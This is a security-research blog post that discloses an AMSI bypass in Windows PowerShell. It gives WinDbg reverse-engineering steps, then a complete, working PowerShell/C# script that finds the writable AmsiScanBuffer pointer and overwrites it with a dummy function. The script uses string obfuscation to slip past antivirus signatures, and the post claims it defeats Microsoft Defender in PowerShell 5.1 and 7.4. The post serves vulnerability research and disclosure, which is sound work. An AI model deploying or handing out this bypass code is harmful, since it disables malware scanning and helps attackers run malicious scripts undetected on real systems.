8-bit video game blocks with pixel art of the Learn One and Learn Enterprise logos

Level up your training with limited-time offers - Discounts for Individuals and Enterprise

Blog

Research & Tutorials

May 3, 2024

AMSI Write Raid Bypass Vulnerability

In this blog post, we’ll introduce a new bypass technique designed to bypass AMSI without the VirtualProtect API and without changing memory protection.

14 min read

In this blog post, we’ll introduce a new bypass technique designed to bypass AMSI without the VirtualProtect API and without changing memory protection. We’ll introduce this vulnerability, discovered by OffSec Technical Trainer Victor “Vixx” Khoury, and discuss how he discovered the flaw, the process he used to exploit it and build proof of concept code to bypass AMSI in PowerShell 5.1 and PowerShell 7.4.

Introducing the AMSI vulnerability

Microsoft’s Anti-Malware Scan Interface (AMSI), available in Windows 10 and later versions of Windows, was designed to help detect and prevent malware. AMSI is an interface that integrates various security applications (such as antivirus or anti-malware software) into applications and software, inspecting their behavior before they are executed.  OffSec Technical Trainer Victor “Vixx” Khoury discovered a writable entry inside System.Management.Automation.dll which contains the address of AmsiScanBuffer, a critical component of AMSI which should have been marked read-only, similar to the Import Address Table (IAT) entries. In this blog post, we will outline this vulnerability and reveal how Vixx leveraged this into a 0-day AMSI bypass. This vulnerability was reported to Microsoft on 8 April 2024.

Throughout this blog post, we’ll use the latest version of Windows 11 and Windbg, which we discuss in detail in various OffSec Learning Modules.

We’ll also focus on AMSI, and leverage 64-bit Intel assembly as well as PowerShell, which we also discuss in detail in various OffSec Learning Modules. OffSec Learners can access links to each of these prerequisite Modules in the Student Portal.

AMSI Background

Microsoft’s Antimalware Scan Interface (AMSI) allows run-time inspection of various applications, services and scripts.

Most AMSI bypasses corrupt a function or a field inside the AMSI library Amsi.dll which crashes AMSI, effectively bypassing it. Beyond crashing or patching Amsi.dll, attackers can bypass AMSI with CLR Hooking, which involves changing the protection of the ScanContent function by invoking VirtualProtect and overwriting it with a hook that returns TRUE. While VirtualProtect itself is not inherently malicious, malware can misuse it to modify memory in ways that could evade detection by Endpoint Detection and Response (EDR) systems and anti-virus (AV) software. Given the high profile of this attack vector,  most advanced attackers generally avoid calling this API.

In this blog post, we’ll reveal a newly-discovered technique to bypass AMSI.

Let’s begin by inspecting the AmsiScanBuffer function of Amsi.dll which scans a memory buffer for malware. Many applications and services leverage this function. Within the .NET framework, the Common Language Runtime (CLR) leverages the ScanContent function in the AmsiUtils Class inside System.Management.Automation.dll, which is part of PowerShell’s core libraries and leads to the AmsiScanBuffer call.

Running [PSObject].Assembly.Location in PowerShell exposes the location of this DLL, which we can reverse with dnsspy.

Click to expand

Let’s dig in to this interesting AMSI bypass.

Analysis / Reverse Engineering

We’ll start by demonstrating how Vixx discovered this. To begin, we’ll attach PowerShell to windbg. We’ll then set a breakpoint on the AmsiScanBuffer function, which at this point is the only function we know will be triggered when AMSI engages.

Click to expand

Next, we’ll run any random string in PowerShell (like ‘Test’) to trigger the breakpoint.  Then, we’ll run the k command in windbg to check the call stack.

Click to expand

As mentioned, most bypasses patch the actual AmsiScanBuffer in Amsi.dll. But in this case, our goal is to target something in the System Management Automation ni module that leads to the AmsiScanbuffer call.

Let’s unassemble backwards (with the ub command) from offset 0x1071757 (+0x1071757) of System Management Automation ni, the second entry that initiated the call to AmsiScanBuffer and see what’s going on.

Click to expand

In this case, call rax is the actual call to AmsiScanBuffer. One way to bypass AMSI is to patch call rax, which requires VirtualProtect.

But when Vixx followed the dereferences before the call to see how rax was populated, he noticed that the address where AmsiScanBuffer is fetched is actually already writable, which opens the possibility for a different AMSI bypass.

Click to expand

Now that we’ve found this, let’s attempt to understand why this happens and if it’s possible to overwrite that entry with a dummy function in order to bypass AMSI.

Exploiting the Vulnerable Entry

After discovering this, Vixx set out to understand why this entry was writable and why it was not protected like the Import Address Table (IAT). Let’s walk through his analysis of this writable entry and try to understand how it is populated.

First, we’ll get the offset between our writable entry and System.Management.Automation.ni.dll. Let’s highlight a few key commands.

First, We need to follow the dereferences highlighted with the 3 mov instructions, that will end up populating rax with the address of AmsiScanBuffer.

We’ll use dqs to display a quadword (64 bits) that is 80 bytes (0x50) before the base pointer register rdp, the base of the current stack frame. We’re displaying one line of output (L1) which matches the output format of the first mov instruction  mov r1l, qword ptr [rbp-50h], and the value we received will be saved in r11 based on the mov instruction.

We’ll then use dqs to display a quadword at 0x7ffa27c52940 (r11) + 0x20 which matches the format of the second mov instruction mov r11, qword ptr [r11+20h]. This reveals the address 0x7ffa27e06b00 which will be saved in r11 again based  on the mov instruction.

We’ll then use dqs to display a quadword at 0x7ffa27e06b00 (r11) which matches the format  of the last mov instruction mov rax, qword ptr [r11]. This reveals the address of AmsiScanBuffer (0x7ffacfcc8260) which will be saved  in rax and called using call rax later.

We are interested in the entry that contains AmsiScanBuffer which is 0x7ffa27e06b00. This is labeled with a calculated offset (0x786b00) from the base address of System Management Automation ni.

Next, we’ll use ? to evaluate an expression, calculating the difference between 0x7ffa27e06b00 and the base address of System Management Automation ni. This confirms the offset between the given memory address and the base address of the DLL (0x786b00).

Click to expand

In this case, the offset is 0x786b00. This offset may change depending on the local machine and version of CLR.

We can use this offset to break on read and write when the DLL is loaded and trace how this entry is being populated and accessed.

Let’s start windbg with powershell.exe as an argument.

Click to expand

Next, we’ll break when System.Management.Automation.ni.dll is loaded into powershell with sxe ld System.Management.Automation.ni.dll. Then, we’ll break on read / write at System Management Automation ni + 0x786b00 to determine how it is populated and what is accessing this entry.

Click to expand

Windbg will break right after the instruction that wrote or read from that memory address, so we’ll need to unassemble back (ub) to see what happened.

Click to expand

According to the output, our breakpoint at the SetNDirectTarget method of clrlNDirectMethodDesc was triggered, specifically 60 bytes (+0x3c) offset into the function at the mov rbx, qword ptr [rsp+30h] instruction. Next, we displayed the assembly code before the current instruction with ub clr!NDirectMethodDesc::SetNDirectTarget+Ox1e:.

Next, our u @rbx L1 instruction revealed that rbx, which contains the AmsiScanBuffer routine address, was written to r14 which contains the entry we are interested in.

If we check the call stack, we will see that this action was part of the clr!ThePreStub routine.

Click to expand

Let’s continue execution.

Click to expand

This reveals that the mov rax,qword ptr [r11] instruction also accesses this entry, but if we take a closer look, we will notice that this leads to call rax which is the call to AmsiScanBuffer that we saw earlier. This is the ScanContent function calling AmsiScanBuffer.

This indicates that the entry was accessed when PowerShell initially loaded, writing the AmsiScanBuffer address followed by subsequent reads and a call to the AmsiScanBuffer function.

Let’s take a moment to discuss clr!ThePreStub, a helper function in .NET Framework that prepares the code for initial execution, which includes just-in-time (JIT) compilation. This creates a stub that will sit between the callee and original caller-side function.

In short, it prepares the code for JIT. According to Matt Warren, the process looks something like this:

Click to expand

In summary, as part of JIT, the helper function writes the AmsiScanBuffer address in the DLL entry address at offset 0x786b00, but it does not change the permissions back to read-only. We can abuse this vulnerability by overwriting that entry to bypass AMSI without invoking VirtualProtect.

Coding the Bypass in PowerShell

Now we can start coding a proof of concept in PowerShell. We could use the System_Management_Automation_ni + 0x786b00 offset to overwrite the entry in our code, but this approach is not entirely practical because the offset can change based on the machine and the installed version of CLR.

A better approach would be to read 0x1000000 bytes backwards from the memory address of ScanContent using ReadProcessMemory and save the bytes in an array, which we can loop through until we find the AmsiScanBuffer address and the offset.

While testing that approach in PowerShell versions 5 and 7, Vixx ran into access problems reading the full 0x1000000 bytes at once with a single ReadProcessMemory call. He also discovered that reading the bytes one at a time was slow, requiring millions of ReadProcessMemory calls which was noisy and inefficient. He found a middle ground, opting to split the data into 0x50000 (32KB) chunks.

Let’s start building the code. In the first section of code, we’ll load and import the required APIs in C#.

In this code, we’ll define an APIs class with several external function declarations that we’ve imported from kernel32.dll using the DllImport attribute. Our class also contains a Dummy method which returns an integer. Finally, we’ll use the Add-Type cmdlet to compile this in-memory assembly and add this class to the current PowerShell session. We’ll use this dummy function later to overwrite the writable entry that contains AmsiScanBuffer.

$APIs = @"
using System;
using System.ComponentModel;
using System.Management.Automation;
using System.Reflection;
using System.Runtime.CompilerServices;
using System.Runtime.InteropServices;
using System.Text;

public class APIs {
    [DllImport("kernel32.dll")]
    public static extern bool ReadProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, UInt32 nSize, ref UInt32 lpNumberOfBytesRead);

[DllImport("kernel32.dll")]
    public static extern IntPtr GetCurrentProcess();
    [DllImport("kernel32", CharSet=CharSet.Ansi, ExactSpelling=true, SetLastError=true)]
    public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
   
    [DllImport("kernel32.dll", CharSet=CharSet.Auto)]
    public static extern IntPtr GetModuleHandle([MarshalAs(UnmanagedType.LPWStr)] string lpModuleName);

    [MethodImpl(MethodImplOptions.NoOptimization | MethodImplOptions.NoInlining)]
    public static int Dummy() {
        return 1;
    }
}
"@

Add-Type $APIs

In-Memory Assembly and Dummy Function

Next, we need fetch the function address of AmsiScanBuffer in memory using GetModuleHandle  and GetProcAddress.

We need to run GetModuleHandle on Amsi.dll to get the address of Amsi.dll in memory and next  GetProcAddress on AmsiScanBuffer to get the address of AmsiScanBuffer in memory.

However, we need to be careful here. We don’t want to use the strings Amsi.dll and AmsiScanbuffer as these are AV signatures that will trigger most AV products. Instead, Vixx recommends some clever string replacements to build these strings.

Let’s search for AmsiScanBuffer in System.Management.Automation.dll, working backwards from ScanContent.

This AmsiScanBuffer will be the address that we will search for in System.Management.Automation.dll, working backwards from ScanContent.

$string = 'hello, world'
$string = $string.replace('he','a')
$string = $string.replace('ll','m')
$string = $string.replace('o,','s')
$string = $string.replace(' ','i')
$string = $string.replace('wo','.d')
$string = $string.replace('rld','ll')

$string2 = 'hello, world'
$string2 = $string2.replace('he','A')
$string2 = $string2.replace('ll','m')
$string2 = $string2.replace('o,','s')
$string2 = $string2.replace(' ','i')
$string2 = $string2.replace('wo','Sc')
$string2 = $string2.replace('rld','an')

$string3 = 'hello, world'
$string3 = $string3.replace('hello','Bu')
$string3 = $string3.replace(', ','ff')
$string3 = $string3.replace('world','er')

$Address = [APIS]::GetModuleHandle($string)
[IntPtr] $funcAddr = [APIS]::GetProcAddress($Address, $string2 + $string3)

Fetching AmsiScanBuffer Address

Since the ScanContent function is inside AmsiUtils class which is inside System.Management.Automation.dll we’ll have to perform a few steps to find this function in our code.

First, we’ll loop through the loaded assemblies in PowerShell until we find the System.Management.Automation.dll assembly.

Next, we’ll retrieve all the classes inside that assembly and loop through them until we find the AmsiUtils class.

Finally, we’ll retrieve all the members inside that class and loop through them until we find ScanContent.

Here’s the code:

```
$Assemblies = [appdomain]::currentdomain.getassemblies()
$Assemblies |
  ForEach-Object {
    if($_.Location -ne $null){
         $split1 = $_.FullName.Split(",")[0]
         If($split1.StartsWith('S') -And $split1.EndsWith('n') -And $split1.Length -eq 28) {
                 $Types = $_.GetTypes()
         }
    }
}

$Types |
  ForEach-Object {
    if($_.Name -ne $null){
         If($_.Name.StartsWith('A') -And $_.Name.EndsWith('s') -And $_.Name.Length -eq 9) {
                 $Methods = $_.GetMethods([System.Reflection.BindingFlags]'Static,NonPublic')
         }
    }
}

$Methods |
  ForEach-Object {
    if($_.Name -ne $null){
         If($_.Name.StartsWith('S') -And $_.Name.EndsWith('t') -And $_.Name.Length -eq 11) {
                 $MethodFound = $_
         }
    }
}
```

Script Searches

Now that we have the function, we’ll use ReadProcessMemory to read 0x1000000 bytes (0x50000 bytes or 32KB at a time) from the current process starting from ScanContent going backwards until we find the address of AmsiScanBuffer.

Our proof of concept will take four arguments.

The first argument will be $InitialStart, which is the negative offset from ScanContent that indicates where the search starts. In this case, we’ll set it to the default value of 0x5000 which means we will start searching -0x50000 bytes from ScanContent.

Second, we have $NegativeOffset which is the offset to subtract in each loop from the $InitialStart. In each loop we will read another 0x50000 bytes, going backwards.

Next, we have $ReadBytes which is the number of bytes to read with each iteration of ReadProcessMemory. Here we will also read 0x50000 bytes at a time.

Finally, $MaxOffset is the total number of bytes we’ll search starting from ScanContent, which will be 0x1000000.

Let’s add the code for each of these parameters to our proof of concept.

```
# Define named parameters
param(
    $InitialStart = 0x50000,
    $NegativeOffset= 0x50000,
    $MaxOffset = 0x1000000,
    $ReadBytes = 0x50000
)
```

Script Parameters

Next, we’ll set up our loops. The first loop will read 0x50000 bytes at a time and the second loop will search the array byte-by-byte comparing each 8 bytes to the address of AmsiScanBuffer until a match is found, at which point the loop will break.

```
[IntPtr] $MethodPointer = $MethodFound.MethodHandle.GetFunctionPointer()
[IntPtr] $Handle = [APIs]::GetCurrentProcess()
$dummy = 0

:initialloop for($j = $InitialStart; $j -lt $MaxOffset; $j += $NegativeOffset){
    [IntPtr] $MethodPointerToSearch = [Int64] $MethodPointer - $j
    $ReadedMemoryArray = [byte[]]::new($ReadBytes)
    $ApiReturn = [APIs]::ReadProcessMemory($Handle, $MethodPointerToSearch, $ReadedMemoryArray, $ReadBytes,[ref]$dummy)
    for ($i = 0; $i -lt $ReadedMemoryArray.Length; $i += 1) {
         $bytes = [byte[]]($ReadedMemoryArray[$i], $ReadedMemoryArray[$i + 1], $ReadedMemoryArray[$i + 2], $ReadedMemoryArr>
         [IntPtr] $PointerToCompare = [bitconverter]::ToInt64($bytes,0)
         if ($PointerToCompare -eq $funcAddr) {
                 Write-Host "Found @ $($i)!"
                 [IntPtr] $MemoryToPatch = [Int64] $MethodPointerToSearch + $i
                 break initialloop
         }
    }
}
```

Script Loops

After finding the entry address containing AmsiScanBuffer, we’ll replace it with our Dummy function (without using VirtualProtect).

```
[IntPtr] $DummyPointer = [APIs].GetMethod('Dummy').MethodHandle.GetFunctionPointer()
$buf = [IntPtr[]] ($DummyPointer)
[System.Runtime.InteropServices.Marshal]::Copy($buf, 0, $MemoryToPatch, 1)
```

Dummy Function Inject

Here’s our completed code, which is also available on Vixx’s GitHub repo:

```
function MagicBypass {

# Define named parameters
param(
    $InitialStart = 0x50000,
    $NegativeOffset= 0x50000,
    $MaxOffset = 0x1000000,
    $ReadBytes = 0x50000
)

$APIs = @"
using System;
using System.ComponentModel;
using System.Management.Automation;
using System.Reflection;
using System.Runtime.CompilerServices;
using System.Runtime.InteropServices;
using System.Text;

public class APIs {
    [DllImport("kernel32.dll")]
    public static extern bool ReadProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, UInt32 nSize, ref UInt32 lpNumberOfBytesRead);

    [DllImport("kernel32.dll")]
    public static extern IntPtr GetCurrentProcess();

    [DllImport("kernel32", CharSet=CharSet.Ansi, ExactSpelling=true, SetLastError=true)]
    public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
   
    [DllImport("kernel32.dll", CharSet=CharSet.Auto)]
    public static extern IntPtr GetModuleHandle([MarshalAs(UnmanagedType.LPWStr)] string lpModuleName);

    [MethodImpl(MethodImplOptions.NoOptimization | MethodImplOptions.NoInlining)]
    public static int Dummy() {
     return 1;
    }
}
"@

Add-Type $APIs

$InitialDate=Get-Date;

$string = 'hello, world'
$string = $string.replace('he','a')
$string = $string.replace('ll','m')
$string = $string.replace('o,','s')
$string = $string.replace(' ','i')
$string = $string.replace('wo','.d')
$string = $string.replace('rld','ll')

$string2 = 'hello, world'
$string2 = $string2.replace('he','A')
$string2 = $string2.replace('ll','m')
$string2 = $string2.replace('o,','s')
$string2 = $string2.replace(' ','i')
$string2 = $string2.replace('wo','Sc')
$string2 = $string2.replace('rld','an')

$string3 = 'hello, world'
$string3 = $string3.replace('hello','Bu')
$string3 = $string3.replace(', ','ff')
$string3 = $string3.replace('world','er')

$Address = [APIS]::GetModuleHandle($string)
[IntPtr] $funcAddr = [APIS]::GetProcAddress($Address, $string2 + $string3)

$Assemblies = [appdomain]::currentdomain.getassemblies()
$Assemblies |
  ForEach-Object {
    if($_.Location -ne $null){
     $split1 = $_.FullName.Split(",")[0]
     If($split1.StartsWith('S') -And $split1.EndsWith('n') -And $split1.Length -eq 28) {
       $Types = $_.GetTypes()
     }
    }
}

$Types |
  ForEach-Object {
    if($_.Name -ne $null){
     If($_.Name.StartsWith('A') -And $_.Name.EndsWith('s') -And $_.Name.Length -eq 9) {
       $Methods = $_.GetMethods([System.Reflection.BindingFlags]'Static,NonPublic')
     }
    }
}

$Methods |
  ForEach-Object {
    if($_.Name -ne $null){
     If($_.Name.StartsWith('S') -And $_.Name.EndsWith('t') -And $_.Name.Length -eq 11) {
       $MethodFound = $_
     }
    }
}

[IntPtr] $MethodPointer = $MethodFound.MethodHandle.GetFunctionPointer()
[IntPtr] $Handle = [APIs]::GetCurrentProcess()
$dummy = 0
$ApiReturn = $false
   
:initialloop for($j = $InitialStart; $j -lt $MaxOffset; $j += $NegativeOffset){
    [IntPtr] $MethodPointerToSearch = [Int64] $MethodPointer - $j
    $ReadedMemoryArray = [byte[]]::new($ReadBytes)
    $ApiReturn = [APIs]::ReadProcessMemory($Handle, $MethodPointerToSearch, $ReadedMemoryArray, $ReadBytes,[ref]$dummy)
    for ($i = 0; $i -lt $ReadedMemoryArray.Length; $i += 1) {
     $bytes = [byte[]]($ReadedMemoryArray[$i], $ReadedMemoryArray[$i + 1], $ReadedMemoryArray[$i + 2], $ReadedMemoryArray[$i + 3], $ReadedMemoryArray[$i + 4], $ReadedMemoryArray[$i + 5], $ReadedMemoryArray[$i + 6], $ReadedMemoryArray[$i + 7])
     [IntPtr] $PointerToCompare = [bitconverter]::ToInt64($bytes,0)
     if ($PointerToCompare -eq $funcAddr) {
       Write-Host "Found @ $($i)!"
       [IntPtr] $MemoryToPatch = [Int64] $MethodPointerToSearch + $i
       break initialloop
     }
    }
}
[IntPtr] $DummyPointer = [APIs].GetMethod('Dummy').MethodHandle.GetFunctionPointer()
$buf = [IntPtr[]] ($DummyPointer)
[System.Runtime.InteropServices.Marshal]::Copy($buf, 0, $MemoryToPatch, 1)

$FinishDate=Get-Date;
$TimeElapsed = ($FinishDate - $InitialDate).TotalSeconds;
Write-Host "$TimeElapsed seconds"
}
```

Complete AMSI Write Raid Bypass

Let’s save this as universal3.ps1 in a web-accessible directory. Next, we’ll open PowerShell 5.1 and show that AMSI is in place as it blocks amsiutils. AmsiUtils is the class that contains the AmsiScanBuffer routine, so when the AV sees any reference to AmsiUtils, it assumes we are trying to bypass AMSI and block it. Then we’ll launch our proof of concept with IEX. We’ll use the default parameters (which may change based on the version of Windows or CLR). Finally, we’ll try to run amsiutils again to see if the bypass was successful.

Click to expand

It worked! We bypassed AMSI and successfully ran amsiutils. Let’s try this on PowerShell 7.4.

Click to expand

Our AMSI Write Raid also worked against PowerShell 7.4! This will bypass Microsoft Defender and most other AV products that use AMSI.

Wrapping Up

In this blog post, we discussed how OffSec Technical Trainer Victor “Vixx” Khoury discovered an advanced bypass “AMSI Write Raid” vulnerability that can bypass AMSI without leveraging the VirtualProtect API. This technique exploits a writable entry inside System.Management.Automation.dll, to manipulate the address of AmsiScanBuffer and circumvent AMSI without changing memory protection settings. We introduced and analyzed a proof of concept PowerShell script which bypassed AMSI in both PowerShell 5 and 7.

Victor Khoury (Vixx)

Victor Khoury (Vixx)

Vixx is one of our Technical Trainers. he primarily focuses on researching and delivering live training sessions where he educate our students on various attacks, both established and emerging, and equip them with strategies that attackers can use effectively.